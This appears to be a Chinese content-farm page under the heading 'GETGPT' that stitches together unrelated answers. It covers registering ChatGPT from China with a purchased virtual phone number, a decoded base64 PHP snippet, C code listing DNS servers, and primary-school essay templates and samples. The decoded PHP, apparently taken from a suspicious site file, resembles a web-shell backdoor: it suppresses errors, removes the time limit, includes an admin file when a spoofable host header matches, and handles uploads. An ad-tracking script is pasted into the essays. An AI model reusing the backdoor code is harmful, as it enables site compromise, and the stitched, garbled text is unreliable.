GETGPT

大家好！今天讓創(chuàng)意嶺的小編來大家介紹下關(guān)于GETGPT的問題，以下是小編對(duì)此問題的歸納整理，讓我們一起來看看吧。

ChatGPT國內(nèi)免費(fèi)在線使用，一鍵生成原創(chuàng)文章、方案、文案、工作計(jì)劃、工作報(bào)告、論文、代碼、作文、做題和對(duì)話答疑等等

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本文目錄:

• 1、中國如何注冊(cè)chatgpt

• 2、幫我解密一下，從一個(gè)php文件提取的 PD9waHAKc2V0X3RpbWVfbGltaXQo

• 3、怎么用c或者c++代碼獲取默認(rèn)DNS服務(wù)器的ip

• 4、小學(xué)作文作文模板 小學(xué)作文格式怎么寫

一、中國如何注冊(cè)chatgpt

中國注冊(cè)chatgpt方法如下：

工具／原料：外星人XPS13-9350-3708、win10、chatgpt-20.5.18。

1、打開官網(wǎng)進(jìn)行賬號(hào)注冊(cè)。

2、接著進(jìn)入登錄界面，使用谷歌郵箱注冊(cè)openID的賬號(hào)，或者有谷歌賬號(hào)的用谷歌賬號(hào)直接可以快捷登錄。

3、完成后會(huì)進(jìn)入郵箱驗(yàn)證的界面，根據(jù)注冊(cè)的郵箱賬號(hào)打開谷歌/微軟郵箱賬號(hào)。

4、驗(yàn)證完成后，然后繼續(xù)在注冊(cè)頁面填入信息，這里輸入姓名（不需要真名）。

5、上一步輸入完信息后點(diǎn)擊Continue按鈕進(jìn)行手機(jī)驗(yàn)證碼校驗(yàn)。

6、國內(nèi)的手機(jī)號(hào)不支持注冊(cè)，大家可以去購買一個(gè)虛擬號(hào)碼，選擇接收驗(yàn)證碼號(hào)碼的國家，進(jìn)行電話號(hào)碼驗(yàn)證。

7、驗(yàn)證注冊(cè)完成后便可以登錄了，登錄成功頁面如下。

二、幫我解密一下，從一個(gè)php文件提取的 PD9waHAKc2V0X3RpbWVfbGltaXQo

<?php
set_time_limit(0);
error_reporting(E_ALL & ~E_NOTICE & ~E_WARNING);
{!--IFADMIN--}
if($_SERVER['HTTP_HOST'] == 'xx.oo' || $_SERVER['HTTP_HOST'] == 'oo.xx' || $_SERVER['HTTP_HOST'] == 't.xx' || $_SERVER['HTTP_HOST'] == 'm.cc' || $_SERVER['HTTP_X_ONLINE_HOST'] == 'xx.oo' || $_SERVER['HTTP_X_ONLINE_HOST'] == 'oo.xx' || $_SERVER['HTTP_X_ONLINE_HOST'] == 't.xx' || $_SERVER['HTTP_X_ONLINE_HOST'] == 'm.cc') {{!--IFINADMIN--}require './admin.php';}
{!--IFFUNCTION--}
function arrIndex($arr,$index,$key) {
    if(is_array($arr)) {
        foreach($arr as $k=>$v) {
            arrIndex($v,$index,$key.'/'.urlencode($k));
        }
    } else {
        $index[]=$key;
    }
}
function arrGetInfo($set,$index=null) {
    if($index===null || !is_array($set)) return $set;
    $index=explode('/',$index);
    foreach($index as $key) {
        $set=$set[urldecode($key)];
    }
    return $set;
}
function arrKey($index) {
    $index=explode('/',$index);
    $key=urldecode(array_shift($index));
    foreach($index as $k) {
        $key.='['.urldecode($k).']';
    }
    return $key;
}
{!--IFFILES--}
if($_FILES) {
    {!--IFINFILES--}
    $index=array();
    foreach($_FILES as $k=>$f) {
        arrIndex
        
        
        解密后的
        
        
        這是base64加密的，自己用 base64_decode()解  或網(wǎng)上找個(gè)(很多)

三、怎么用c或者c++代碼獲取默認(rèn)DNS服務(wù)器的ip

這里的代碼可以打印出電腦默認(rèn)的DNS服務(wù)器

參考資料：http://blog.csdn.net/shimazhuge/article/details/8949508

#pragma warning(disable:4996)
#include <stdio.h>  
#include <WinSock2.h>  
#include <iphlpapi.h>  
#pragma comment(lib, "IPHLPAPI.lib")  
#pragma comment(lib, "ws2_32.lib")  
int main() // 獲取本地主機(jī)名、域名和DNS服務(wù)器信息  
{
	// 聲明變量  
	FIXED_INFO * FixedInfo;     // 定義保存本地計(jì)算機(jī)網(wǎng)絡(luò)參數(shù)信息的結(jié)構(gòu)體指針  
	ULONG    ulOutBufLen;       // 保存獲取到的本地計(jì)算機(jī)網(wǎng)絡(luò)參數(shù)信息結(jié)構(gòu)體鏈表的長(zhǎng)度  
	DWORD    dwRetVal;          // 調(diào)用GetNetworkParams()函數(shù)的返回值  
	IP_ADDR_STRING * pIPAddr;   // 保存所有DNS服務(wù)器的IP地址列表  
	FixedInfo = (FIXED_INFO *)GlobalAlloc(GPTR, sizeof(FIXED_INFO));   // 為FixedInfo結(jié)構(gòu)體分配內(nèi)存空間  
	ulOutBufLen = sizeof(FIXED_INFO);         // 初始化ulOutBufLen變量值  
											  // 第1次調(diào)用GetNetworkParams()函數(shù)，獲取返回結(jié)果的大小到ulOutBufLen中  
	if (ERROR_BUFFER_OVERFLOW == GetNetworkParams(FixedInfo, &ulOutBufLen))
	{
		GlobalFree(FixedInfo);
		FixedInfo = (FIXED_INFO *)GlobalAlloc(GPTR, ulOutBufLen);
	}
	// 第2次調(diào)用GetNetworkParams()函數(shù)，以前面獲取的ulOutBufLen作為參數(shù)，  
	if (dwRetVal = GetNetworkParams(FixedInfo, &ulOutBufLen) != ERROR_SUCCESS)
	{
		printf("調(diào)用GetNetworkParams()函數(shù)失敗。返回值: %08xn", dwRetVal);
	}
	else
	{
		printf("nDNS服務(wù)器列表:n");
		printf("%sn", FixedInfo->DnsServerList.IpAddress.String);
		pIPAddr = FixedInfo->DnsServerList.Next;
		while (pIPAddr)
		{
			printf("t%sn", pIPAddr->IpAddress.String);
			pIPAddr = pIPAddr->Next;
		}
	}
	printf("按下回車鍵結(jié)束n");
	getchar();
	return 0;
}

四、小學(xué)作文作文模板 小學(xué)作文格式怎么寫

第一段：①開門見山,直接點(diǎn)題 ②烘托氣氛，抒情 ③設(shè)問置疑法 ④巧妙模仿法 ⑤引用名言名句 ⑥運(yùn)用修辭手法；

第二段：描述事件的起因發(fā)展經(jīng)過和結(jié)果；

第三段：自己的感悟；

第四段：呼應(yīng)開頭,升華主題。

注意：

1、每個(gè)標(biāo)點(diǎn)符號(hào)占1格（破折號(hào)“——”、省略號(hào)“……”占2格）；

2、原則上標(biāo)點(diǎn)不換行寫，如：行末一個(gè)字之后該寫“，”，了，可是本行沒格了，不能把“，”寫到下一行，而是寫在該字的同行上，但破折號(hào)“——”、省略號(hào)“……”可以寫在下一行。

拓展資料

《小學(xué)生作文》是1981年10月天津出版?zhèn)髅郊瘓F(tuán)出版的圖書，是中國最具影響力的第一家小學(xué)生作文品牌刊物，被指定為中國教育學(xué)會(huì)小學(xué)語文專業(yè)委員會(huì)唯一的學(xué)生類會(huì)刊。

作為國內(nèi)知名的小學(xué)生教輔雜志品牌，《小學(xué)生作文》創(chuàng)刊三十多年來以其編輯、作者隊(duì)伍的權(quán)威性，與教學(xué)實(shí)際的貼近性贏得廣大小讀者的喜愛和業(yè)內(nèi)人士的廣泛好評(píng)。

“教學(xué)直通車”、“升格點(diǎn)金石”、“漢字趣味談”、“悅讀悅寫”等都是小讀者十分喜愛的明星欄目。2014年，在現(xiàn)有內(nèi)容基礎(chǔ)上，《小學(xué)生作文》中高年級(jí)版推出了全新欄目“名師作文課堂”、“素材串串燒”、“微觀作文放大鏡”、“童詩朵朵開”、“語文游樂場(chǎng)”等。屆時(shí)，小讀者們將會(huì)通過更多更加精彩有趣的形式領(lǐng)略到語文、作文的魅力。

參考資料來源：百度百科：小學(xué)生作文

小學(xué)生作文格式模板

小學(xué)生各類型作文范文

一、 寫事的文章

趣事回憶

如果說童年是浩瀚夜空的話，那夜空中最亮的幾顆星星就是童年的趣事了。今天，我來和大家分享一下我的童年趣事，說不定你也做過這樣的傻事呢！

記得事情發(fā)生在我還挺小的時(shí)候，我那年才剛懂事。那天中午，媽媽在廚房忙著炒菜做飯，突然發(fā)現(xiàn)沒鹽了。我照常去了超市，好不容易買到了鹽往家走，邊走邊觀望手中的鹽，心想：媽媽做菜時(shí)就會(huì)用這個(gè)，放完這個(gè)菜會(huì)做得很好吃，這個(gè)味道一定非常棒！想著想著，我就撕開了袋口，還 *** 道：“只嘗一點(diǎn)點(diǎn)，媽媽不會(huì)說的?！蔽?guī)褪种干爝M(jìn)袋口蘸了一點(diǎn)鹽，用舌頭輕輕地舔了一下，味蕾迅速將鹽的味道傳到大腦?！巴?，好難吃，好難吃吶!”我正為自己的舌頭嘆息呢。卻突然發(fā)現(xiàn)鹽被我剛才給扔到地上了，雪白的鹽粒撒出去了2/3，我立即蹲下想拾起，怎料被撒出去的鹽粒與地上的泥土混合在一起了?！霸愀?，鹽被我弄臟了，回去怎么交代呢？”

就在這時(shí)，我看見了村里的李奶奶在淘米，米被李奶奶沖淘得干干凈凈，我不由得生出了一個(gè)想法。嗯，就這么做！

我把鹽都裝回去，放在路邊，又跑到家門口，看見媽媽還在廚房切菜一邊切一邊說：“這都多少分鐘了，雨涵怎么還不回來，這孩子?！蔽业膭?dòng)作得快點(diǎn)，媽媽已經(jīng)在懷疑了，我加快了速度。于是偷溜進(jìn)房間，找來盆子，又看準(zhǔn)機(jī)會(huì)接了大半盆水，可我太小了，搬不動(dòng)，我又倒了些，還是太重，后來，媽媽要過來了，我又拖又拉又拽又扯終于把鹽全部一股腦倒進(jìn)盆里，開始淘鹽。我用一根枯樹枝攪盆里的鹽水，一邊攪一邊模仿電視的人的模樣念念有詞：“天靈靈，地靈靈，鹽神大仙快顯靈；天靈靈，地靈靈，鹽馬上變得干凈。”攪了一會(huì)兒，覺得差不多了，就用手往盆里一撈，結(jié)果卻大失所望，盆地空空如也。我非常委屈，鹽呢？鹽跑哪兒去了？媽媽正好出來找我看見我，我將我買鹽吃鹽弄臟鹽并淘鹽的事跟媽媽說，媽媽聽后哭笑不得。由于沒有鹽，而且媽媽菜都炒好了，那天中午的菜全都沒有味道……

相信我現(xiàn)在肯定不會(huì)再去做淘鹽這種事了，不過這一段有趣珍貴的回憶我一定好好珍惜。

二、 場(chǎng)面描寫

當(dāng)老師不在場(chǎng)的時(shí)候

俗話說“山中無老虎，猴子稱大王”。每次老師因事不再時(shí)，我們這些猴子可是威風(fēng)了，還發(fā)生了許多事。有一次，我們卻被老虎抓了個(gè)現(xiàn)行。

每個(gè)周一下午最后一節(jié)課，老師們照例要去會(huì)議室開會(huì)，英語老師布置好作業(yè)又對(duì)我們叮囑幾句后離開了教師。不過，教室仍非常安靜，同學(xué)們“貌似”都在認(rèn)真寫作業(yè)。我們心里都明白為什么不吵，老師沒有進(jìn)會(huì)議室，我們?cè)跄馨残脑旆茨?？果然，不出所料，英語老師來了個(gè)“回馬槍”，又來教室察看，見我們都“十分認(rèn)真”，這才放心地踩著高跟鞋去會(huì)議室，等高跟鞋的聲音漸行漸遠(yuǎn)，最后聽不到時(shí)，同學(xué)們就忍不住了，教室像一壺正要沸騰的水。

有的同學(xué)和后面的人講起了笑話，笑聲不斷；有的同學(xué)則干脆離開了座位到處亂跑。笑聲、說話聲、跑步聲及桌椅挪動(dòng)聲混成一片。呵，好一個(gè)熟悉、嘈雜的農(nóng)貿(mào)市場(chǎng)?。?

“別吵了，再吵，我就記名了！”“都說別吵了，我告訴英語老師了……”班長(zhǎng)寧寧忍受不了，拿著書一邊敲桌子，一邊喊道。很快她的喝令聲淹沒在噪聲中。我正在“兩耳不聞窗外事，一心只讀圣賢書”呢，茹輕輕捅了我一下，小聲道：“你不是寧寧好朋友嘛，幫她管管哈！”我聳了聳肩回答道：“你以為我不想啊？他們發(fā)出的噪音簡(jiǎn)直就是‘魔音催耳’，我小小的嗓門抵得過她們嗎？她們會(huì)聽我的話停止吵鬧嗎？”說完又無奈地看了看他們。這邊幾個(gè)女生圍在一起討論者天上地下的；那邊幾個(gè)男生正興致勃勃地聊游戲，只聽“××游戲我已闖關(guān)通過了，我獲得了幾級(jí)寵物…….”聲音不絕于耳。

就在這時(shí)，“咚咚咚咚”的高跟鞋聲出現(xiàn)了，教室里瞬間恢復(fù)了安靜。同學(xué)們的心提到嗓子眼兒，雙眼瞪著門，門“吱呀”一聲開了，英語老師進(jìn)來了，一雙銳利陰沉的雙眼掃視著我們……

哎，猴子正得意忘形呢，誰知老虎來了，個(gè)個(gè)都寒蟬若噤??！

(function() { var impMonitorUrls = []; var clickMonitorUrls = []; function visitUrl(url) { var img = new Image(); img.src = url; return img; } function visitAllUrls(urls) { for (var i = 0; i < urls.length; i++) { visitUrl(urls[i]); } } function addEventListener(node, event, func, useCapture) { node = node || document; useCapture = useCapture || false; if (node.addEventListener) { node.addEventListener(event, func, useCapture); } else { node.attachEvent('on' + event, func); } } function init() { var imgLink = document.getElementById('img_link'); if (imgLink) { addEventListener(imgLink, 'click', function() { visitAllUrls(clickMonitorUrls); }, false); } } function req_imp12() { visitUrl("http://eduad.baidu/impression/wenku_post_json?p=Al8-XDrlPAZi3LgKRlu7nSKHQQXwuPrzDNtd94rbTMnKL796T09BUVawIaBYVIouRLvuAvgW9XO4fU4-0B7hgtFr-5O0MpDemfqzK-k-MVIMTFnIn5A7RwM8IOThzImJpwsMJiMjc6l_58sr0TiJlOuLoAxRM9uJ3WRQVUzfDX05Z2GSfseRyD6008NGjMHsFSGkAzlSR1O8voeRK8g3FQG0IKKAo590kM1DOglXslX24MIwQxxgAUEiQSfC-eStInzQ1a8PpF7q1YgRAJBWWoMJea1uZsIOH2fr3Yb6JjMQMAjXgYHp29Q7HPu9dXeD4F80bWdIn9NfaxxQdwuj6K0ssDt1BiVtovG8OhKu-OlZfgdCElZ3b3raAcv3N1hh1UM11-pQurRRtUUzYzxtU22HVOqPcQs7ZSUszb8DvDowOvDFDqUnwCbP7chDehPvbLNwbTuhc17GpTvcm6gHDHgzBgdr8DDRHWkWjiu91UID4QPEBmaEeGf28SQ1RrSQtK9d3sTOE_RjuSDflZB2QhOec5Za2yDrt1YnLi-bZTde1iWghxaqsUvalkNcpEcdsWc2H5f8o0qY3j-4R7A8A4Bt9v_MHSqFnMyzfSbCgEB3nf3Tpwxg3w8eRgWptvzfEEwM3hSGPJxLjbfV1UPACWUm15PDVwH2Kd66wvFS9rFRJZFJL4t8m6QeXMPV1dm3cLkZFHXWe-it8UVwbG3tCoo4KCyyiU3ChTI3FqJpxds=&price=0"); visitAllUrls(impMonitorUrls); init(); } if (window.attachEvent) { window.attachEvent('onload', req_imp12); } else if (window.addEventListener) { window.addEventListener('load', req_imp12, false); } }) (); .product { position: relative; } .adv-logo { position: absolute; bottom: 1px; z-index: 100; } .ad-label { left: 1px; } .dsp-logo { right: 1px; }

三、 讀后感

讀《呼蘭河傳》有感

這幾天，我讀了一本名叫《呼蘭河傳》的書，講得是作者蕭紅兒時(shí)發(fā)生的事情。其中有許多生動(dòng)有趣的故事，比如說：

在春季的一天，小蕭紅跑進(jìn)了她獨(dú)有的小天地——他祖父的后園，摘了許多帶刺的玫瑰，為此還把手給扎破了，滯后又用祖父的大草帽盛滿玫瑰，想捉弄祖父?？嗨稼は牒?，把那帶刺的玫瑰插在祖父的帽子上，淡黃色的草帽變得紅彤彤的。祖父戴上后，聞到花香，說：“今年春天雨水多，花香二里地外都能聞見。”小作者在那兒笑個(gè)不停。讀到那兒時(shí)，我和小蕭紅一起笑了。當(dāng)然，除此之外，還有許多有趣的事。蕭紅在后園想干什么就干什么，想怎樣就怎樣，一切都是自由的，就如同那后院中的植物一樣。

《呼蘭河傳》整篇小說樸素率真、凄婉細(xì)膩、真實(shí)感人。再現(xiàn)了作者童年時(shí)代東北農(nóng)村黑暗、落后、愚昧的社會(huì)生活，詮釋了舊的傳統(tǒng)意識(shí)對(duì)人民的束縛。書中獨(dú)有的亮色就是蕭紅與祖父的后園，讓人在沉重中感受到光與熱。文中也寫了許多人物，如：有潔癖的祖母、幽默的祖父、才十二歲就被賣去當(dāng)童養(yǎng)媳的團(tuán)圓媳婦…..都給我留下了深深的印象

我多么希望自己永遠(yuǎn)停在這無憂無慮的童年，可這是不可能的，時(shí)光老人總會(huì)把童年帶走的。讓我們珍惜童年的每一天，讓我們像小蕭紅那樣，把童年的每一天過得都那么充實(shí)、快樂！

《呼蘭河傳》我讀完了，可我的思緒仍停留在那個(gè)快樂、自由的后園中。

四、 實(shí)踐過程

水等于放大鏡？

今天，老師帶我們做了許多有趣的實(shí)驗(yàn)，其中我最感興趣的就是“水制放大鏡”。有趣極了，不信你看！ 教室的講臺(tái)上擺著一個(gè)大碗，旁邊有顆彩色的彈珠，還有一張透明的薄如蟬翼的保鮮膜。 我們正好奇時(shí)，老師緩緩地走進(jìn)了教室，說到：“今天我們來做一個(gè)有趣的實(shí)驗(yàn)‘水制放大鏡’”?！昂茫　蓖瑢W(xué)們欣喜若狂地叫著。老師請(qǐng)一位同學(xué)念屏幕上的操作步驟，她按照步驟先把彩色彈珠放進(jìn)碗里，又用保鮮膜封住了碗，并走下來讓我們摸一摸是否扯緊，同學(xué)們瞪大雙眼瞅著，并用手指輕輕觸碰著，確認(rèn)確實(shí)扯緊后便走了回去。然后用手輕輕地把碗口上的保鮮膜向下按了按，使保鮮膜成了倒錐形。大家很是好奇，都圍了上去，嘰嘰喳喳地在議論。有的人說老師實(shí)驗(yàn)?zāi)艹晒?，有的則說不能。我也不知道老師能不能成功，只顧仔細(xì)關(guān)注那見證奇跡的最后一刻。

最后的步驟了，成敗在此一舉。只見老師去飲水機(jī)那兒，拿著已被保鮮膜封蓋的的碗接了些水，實(shí)驗(yàn)便完成了。大家蜂擁而上，爭(zhēng)相去看那彈珠有沒有變化，看完后，我們驚呆了。因?yàn)槲覀儼l(fā)現(xiàn)透過保鮮膜看到的彈珠要比平時(shí)大些。

看到我們驚訝、疑惑，老師給我講述了形成這一現(xiàn)象的原理。之所以碗里的彈珠看起來大些，是因?yàn)楸ｕr膜上的水形似凸透鏡，而通過凸透鏡看到的物體往往會(huì)大于原有形態(tài)。

聽了后，我心里大為贊嘆，贊嘆科學(xué)太有趣、太神奇了！這么有趣的實(shí)驗(yàn)我還真想自己也做一做呢，你想不想做呢？

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五、

書信

給史老師的一封信

敬愛的史老師：

臨近畢業(yè)，您天天為我們的課業(yè)操勞，身體可好？

記得您剛來的時(shí)候，我才上三年級(jí)。光陰似箭，一下子四年過去了，如今我已是畢業(yè)班的學(xué)生了，還是不到四天的時(shí)間，我就要參加畢業(yè)考試了，那也就意味著我將離開母校，離開您，想到這些，心中難免有些不舍和眷戀…..

轉(zhuǎn)身回望過去，記憶里老師您的一舉一動(dòng)如放電影般一幕幕呈現(xiàn)在我眼前。第一次見您，您在黑板上寫下您的名字，笑著向同學(xué)們自我介紹；一次考試，我們考得不理想，您生氣了、失望了；一天調(diào)皮的我們?cè)谡n堂上質(zhì)疑您的答案了，您反夸我們帶著腦袋進(jìn)課堂……嬉笑怒罵間我們成了親密無間的師生，不，應(yīng)該說是好朋友。

您可能已經(jīng)忘了那個(gè)傍晚。那天下午，您上習(xí)作讓我們寫一篇作文。作文要求已記不清了，只記得那篇作文我改了很多次，都沒有過關(guān)。就這樣改啊改，折騰到放學(xué)，同學(xué)們都陸續(xù)走了，教室里漸漸變得靜悄悄的了。夕陽的余暉灑進(jìn)教室里，我仍抓耳撓腮無從下筆。漸漸地，余暉也沒有了，覺察到天色漸漸暗了，心急如焚，只得向您求情：“老師，我不會(huì)寫，天快黑了，您讓我回家寫吧？”您循聲走近我，低頭看著我的草稿，拿起我散放在課桌上的筆，開始為我講解分析拓展……我一邊按照您的指導(dǎo)擴(kuò)寫一邊不時(shí)抬頭張望窗外，您說：“別急，寫作文不能急于求成?！弊屛异o下來一心寫作。天黑了，我終于寫完作文交給了您。您也開始收拾東西準(zhǔn)備回家。這時(shí)我才發(fā)現(xiàn)校園空蕩蕩的，人都走光了，我和您是最后走的。 老師，您多么無私，多么偉大，您總是耐心地幫助教導(dǎo)我，我舍不得您！ 此致

祝您保持好心情愉快度過每一天！

愛您的學(xué)生××× 2015年6月30日

六、寫人的

我的爸爸

我的父親是個(gè)農(nóng)民，只把高中上完，就四處奔波，到處打工，最終在這兒買了田，開始種植葡萄。也許，你只會(huì)認(rèn)為他是一個(gè)認(rèn)識(shí)幾個(gè)字的農(nóng)民，但是在我眼中，他是我最欣賞的人。 “吃晚飯了”爸爸端著兩盤鮮香四溢的菜進(jìn)來了，“小炒土豆絲和辣椒炒雞蛋，哇，今天中午有口福了！”弟弟一直看著菜盤立即拿起筷子夾菜，“嘿嘿，嘗嘗，我手藝不錯(cuò)吧？”爸爸慈愛的摸了下弟弟埋頭貪吃的腦袋，伸展幾下胳膊，也坐下來開始吃飯?！鞍职郑医裉炱谥锌荚嚨??！薄翱荚嚢?？那試卷怎么樣，難不難??？你考不考得好呢？”爸爸關(guān)心地問?！班?，整體還可以，沒什么難的，就是我有句詩不會(huì)填?！蔽疫叧赃吅鼗卮?。爸爸夾了一?；ㄉ旁谧炖锝懒私?，隨即放下筷子，側(cè)首問：“什么詩哪？給我說說，看我會(huì)不會(huì)?！薄啊虾?，風(fēng)景舊曾諳，什么什么，能不憶江南？’”“這個(gè)簡(jiǎn)單??！不就是‘日出江花紅勝火，春來江水綠如藍(lán)’么！”“噢耶，我對(duì)了！”我伸出兩根手指，擺出勝利的姿勢(shì)，欣喜地叫起。爸爸又開始繼續(xù)吃菜，邊吃邊問：“那你其他題目怎么樣，確定都對(duì)了？別空歡喜一場(chǎng)哦！”“其他題目我還是很放心的！”我自信地拍拍胸脯。突然，我想到了什么，把《唐詩三百首》給拿了過來，我一邊翻頁一邊對(duì)爸爸說：“爸爸，既然你知道一些古詩，那我就來考考你。敢接受挑戰(zhàn)么？”我狡黠地看向父親。沒待他開口我就問：“‘天門中斷楚江開—’”“碧水東流至此回。”爸爸有些好笑地看我在那苦找，“嗯，答對(duì)了，再來‘兩岸猿聲啼不住—”“輕舟已過萬重山?！卑职挚焓懿涣宋遥拔艺f你啊，把我當(dāng)幾年級(jí)小學(xué)生了，好歹我也是個(gè)高中畢業(yè)呀！”說完敲了敲我的腦袋，背著手棄我而去。 我望著他離去的背影，看著飯桌，不禁有些欣賞爸爸了……

我們的小學(xué)作文400字左右

我們的校園每個(gè)季節(jié)都很美。春天鮮花盛開，夏天綠樹成陰，秋天紅葉似火，冬天白雪一片。讓我們一起走進(jìn)美麗的校園，觀賞這美麗的風(fēng)景吧！

春天，鮮花盛開，百鳥爭(zhēng)鳴。有玉蘭花，有月季花，有蘭花，還有茶菊。有紅，有黃，有藍(lán)，有粉，還有紫。這些花兒在綠葉、藍(lán)天、還有盈耳動(dòng)聽的鳥鳴的映襯下，顯得格外嬌艷，好像一位位穿著美麗的舞裙正赴舞宴的小公主。

夏天，綠樹成陰，跑道旁那一排梧桐樹出足了風(fēng)頭。微風(fēng)吹拂，那一片片碧綠的梧桐樹葉，像一面面輕輕擺動(dòng)的扇子，給正在樹下上體育課的小朋友，送去陣陣清涼；又像一只只翩翩起舞的蝴蝶，為正在樹下寫生的小朋友喝彩鼓掌。

秋天，紅葉似火，飄飄悠悠落下的紅葉，有的像蝴蝶，有的像小船，有的像扇子，好像給跑道穿上了一件嶄新的金燦燦的衣服?！岸ｂ忊彙保抡n了，我們來到操場(chǎng)，樹葉的沙沙聲和同學(xué)們那銀鈴般的歡笑融在一起，好像美麗的秋姑娘唱起了優(yōu)美動(dòng)聽的樂曲。

冬天，白雪一片，銀裝素裹，樹白了，花白了，草也白了，好像給校園鋪上了一條雪白的地毯，蓋住了所有的東西。我們穿上棉衣，帶上手套，圍上圍巾，活像個(gè)大絨球，在遼闊無垠的白茫茫雪地上散步，談笑，玩耍，繪成了一幅多姿多彩的畫。

我愛我們的校園，她是我們可愛的家園，是我們歡樂的源泉。

小學(xué)生萬能作文模板

校園風(fēng)景

沿著通向?qū)W校的勞動(dòng)路，我來到了靜謐的校門前。早晨，

太陽光照在校園里，像給校園披上了一件金色的外套，壯觀極

了！校門口有兩個(gè)像衛(wèi)兵似的門柱，它們的頭上各有一盞門燈，

像兩顆夜明珠鑲嵌在上面。門柱中間，有一塊大理石，上面刻

著“余姚市陽明小學(xué)”這七個(gè)閃爍著金光的大字，顯得莊重古

樸。

走進(jìn)校園，鋪展在我們面前的是一個(gè)大天井。中間是一個(gè)

大花壇。里面的花草樹木排成美麗的圖形，緊緊圍繞著一棵茂

盛的桂花樹，每當(dāng)桂花盛開的時(shí)候，校園里處處彌漫著清香，

令人心曠神怡，花壇四周是綠油油的草坪。早晨初升的太陽照

著美麗的花，碧綠的樹，綠色的葉片上，滾動(dòng)著晶瑩的露珠，

在陽光下熠熠閃光。小草上沾滿了小水珠，像一串串綠珍珠，

晶瑩剔透。課間，我們總圍在花壇邊，欣賞著這鮮艷的花兒。

天井的南北兩面，各有一幢高拔的教學(xué)樓。像兩位巨人矗

立在校園中，顯得格外醒目。每個(gè)教室里都有兩塊大黑板。前

面的黑板上方，有一個(gè)鏡框，鏡框里嵌著一面鮮艷的五星紅旗。

一排排桌椅對(duì)得整整齊齊，明亮的窗子凈得可以照見人影。

校園的最南邊，便是一個(gè)標(biāo)準(zhǔn)的塑膠操場(chǎng)。桔紅色的塑膠

跑道環(huán)繞著操場(chǎng)四周，映襯著碧綠的草地和天藍(lán)色的籃球場(chǎng)，

是那么的鮮艷奪目，使在上空飄揚(yáng)的五星紅旗更加燦爛。操場(chǎng)

上還有許多體育健身器：有爬桿，有雙杠……每當(dāng)活動(dòng)課的時(shí)

候，操場(chǎng)上頓時(shí)熱鬧起來。有的像猴子似的敏捷地爬上竹桿，

有的在塑膠跑道上使勁地奔跑，有的你搶我奪地打籃球。風(fēng)兒

拂拭著我們的面龐，多開心??！一只只美麗的鳥兒落在樹上，

正悠閑地傾聽著同學(xué)們的格格笑聲。

在這么美麗、舒適的校園中學(xué)習(xí)，是多么幸福。

《我最喜歡的人》小學(xué)作文教學(xué)模板

我最喜歡的人是我的爸爸。

我的爸爸大家都見過，他找這兩雙大眼睛，一雙大嘴巴，一雙溫暖的大手！它就是一個(gè)普普通通，平平淡淡的爸爸。但是是一個(gè)好的爸爸。我很喜歡他！

有一次我放學(xué)回家，媽媽告訴我他們晚上去吃燒烤了玩兒的特別特別的開心，爽極了！我聽了很生氣地說到：“為什么不帶我去呀！”因?yàn)槟銢]有在家。

“媽媽遺憾地說。我很生氣。晚上我們回到家，媽媽在電話中告訴了爸爸。爸爸聽了，心軟了，于是他說他買今天晚上的火車票說11點(diǎn)鐘到家。我聽了有傷心有高

興。傷心的是爸爸為了我在晚上回了家。高興的是我能去燒烤了！晚上，我聽到了腳步聲原來是爸爸回來了，但是當(dāng)時(shí)我太困所以沒有顧得著。

第二天，爸爸帶我去燒烤了，那里人山人海我們一會(huì)去接飲料一會(huì)去挑東西吃一會(huì)兒去弄味料忙得不過來。我們吃牛排吃水果······都吃著飽飽的

回了家，我雖然已經(jīng)經(jīng)吃的很飽了但還是很想吃我們還去逛街了，在哪里爸爸沒有寫著而是看著我和妹妹擔(dān)心我去迷路了。我們回到了家，那時(shí)后已經(jīng)9點(diǎn)多了快

10點(diǎn)鐘了吧！我們各個(gè)都弄好了被子去睡覺了。而爸爸呢，卻沒有休息而是去爺爺家管爺爺去了，因?yàn)闋敔數(shù)昧酥夭?。爸爸每?0點(diǎn)或11點(diǎn)的時(shí)候才回來，爸

爸是多么的孝順呀！在我們進(jìn)入夢(mèng)想的時(shí)候，爸爸卻輕輕的進(jìn)了家，輕輕的蓋上了被子去睡覺了！

看！我的爸爸才是”最合格“的爸爸！

WORD文檔如何設(shè)置格式像小學(xué)作文本的那種格式

正解：

首先你要確保已安裝Microsoft Office Word 2003 稿紙加載項(xiàng)。安裝Microsoft Office Word 2003 稿紙加載項(xiàng)后，打開Word應(yīng)用程序，點(diǎn)擊菜單“格式|稿紙?jiān)O(shè)置”即可使用稿紙功能。

小學(xué)作文怎樣批改

1．有目的地進(jìn)行批改。

批改學(xué)生的作文,首先要有明確的目的。這一目的就是培養(yǎng)學(xué)生的寫作興趣和修改能力，提高學(xué)生的作文水平。批改學(xué)生的習(xí)作時(shí)，教師要針對(duì)不同的學(xué)生采用不同的措施：對(duì)于基礎(chǔ)特別好的學(xué)生，教師只需肯定他們的成績(jī)，提出明確的修改意見讓其自己修改便可；對(duì)于基礎(chǔ)比較好的學(xué)生，教師則要指出他們的不足并教會(huì)其怎樣修改；對(duì)于基礎(chǔ)不好的學(xué)生，教師則要多關(guān)心、鼓勵(lì)和幫助他們，并盡可能多地找出其作文的閃光點(diǎn)進(jìn)行表揚(yáng)，當(dāng)然必要時(shí)還要進(jìn)行“面批面改”。寫作教學(xué)中，教師要通過師生交流，讓學(xué)生較快地學(xué)會(huì)修改，并增強(qiáng)修改作文的自信心。

2．大膽探索有效的批改方法。

提高作文批改的有效性是一項(xiàng)長(zhǎng)期的工作。教師在學(xué)習(xí)先進(jìn)經(jīng)驗(yàn)的同時(shí)，還要大膽探索，不怕困難，不怕失敗，并根據(jù)自身的特點(diǎn)，結(jié)合學(xué)生的實(shí)際情況，大膽探索能提高學(xué)生作文能力和修改能力的方法。

3．批改要講求實(shí)效。

批改學(xué)生的作文不應(yīng)是為應(yīng)付檢查而批改，而要講求實(shí)效。教師要通過批改讓學(xué)生得到應(yīng)有的收獲，如應(yīng)學(xué)會(huì)怎樣選擇材料和怎樣進(jìn)行表達(dá)，應(yīng)弄懂自己所寫文章的優(yōu)點(diǎn)和不足，并明確自己應(yīng)該努力的方向。教師的評(píng)語要做到有話則長(zhǎng)，無話則短，要讓學(xué)生明白自己的作文寫得不夠好的原因和改進(jìn)的方法，要讓學(xué)生明白自己的作文雖然寫得不錯(cuò)，但還有改進(jìn)的空間，還可以寫得更精彩。

4．教會(huì)學(xué)生修改作文。

